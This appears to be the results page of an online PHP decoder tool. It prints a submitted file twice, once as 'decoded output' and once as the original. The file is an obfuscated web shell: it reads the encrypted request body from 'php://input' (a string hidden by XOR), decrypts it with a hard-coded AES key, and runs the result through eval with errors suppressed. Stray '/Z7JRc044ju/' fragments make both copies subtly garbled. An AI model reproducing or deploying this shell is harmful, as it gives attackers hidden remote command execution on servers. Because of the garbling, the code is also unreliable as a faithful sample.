Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
@error_reporting(0); session_start(); $key="e0323a9039add297"; $_SESSION['k']=$key; ..
Decoded Output download
<? @error_reporting(0);
session_start();
$key="e0323a9039add297";
$_SESSION['k']=$key;
$f='file'.'_get'.'_contents';
$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);
$Huan7=$f($p);
if(!extension_loaded('openssl'))
{
$t=preg_filter('/\s+/','','base 64 _ deco de');
$Huan7=$t($Huan7."");
for($i=0;$i<strlen($Huan7);$i++)
{
$new_key = $key[$i+1&15];
$Huan7[$i] = $Huan7[$i] ^ $new_key;
}
}
else
{
$Huan7=openssl_decrypt($Huan7, "AES128", $key);
}
$arr=explode('|',$Huan7);
$func=$arr[0];
$params=$arr[1];
class G08s8A5a
{
public function __invoke($p)
{
@eval("/Z7JRc044ju/".$p."");
}
}
@call_user_func/Z7JRc044ju/(new G08s8A5a(),$params); ?>
Did this file decode correctly?
Original Code
@error_reporting(0);
session_start();
$key="e0323a9039add297";
$_SESSION['k']=$key;
$f='file'.'_get'.'_contents';
$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);
$Huan7=$f($p);
if(!extension_loaded('openssl'))
{
$t=preg_filter('/\s+/','','base 64 _ deco de');
$Huan7=$t($Huan7."");
for($i=0;$i<strlen($Huan7);$i++)
{
$new_key = $key[$i+1&15];
$Huan7[$i] = $Huan7[$i] ^ $new_key;
}
}
else
{
$Huan7=openssl_decrypt($Huan7, "AES128", $key);
}
$arr=explode('|',$Huan7);
$func=$arr[0];
$params=$arr[1];
class G08s8A5a
{
public function __invoke($p)
{
@eval("/Z7JRc044ju/".$p."");
}
}
@call_user_func/Z7JRc044ju/(new G08s8A5a(),$params);
Function Calls
None |
Stats
MD5 | 2067f88d3adc9aa0c3e12f8b76f77a47 |
Eval Count | 0 |
Decode Time | 47 ms |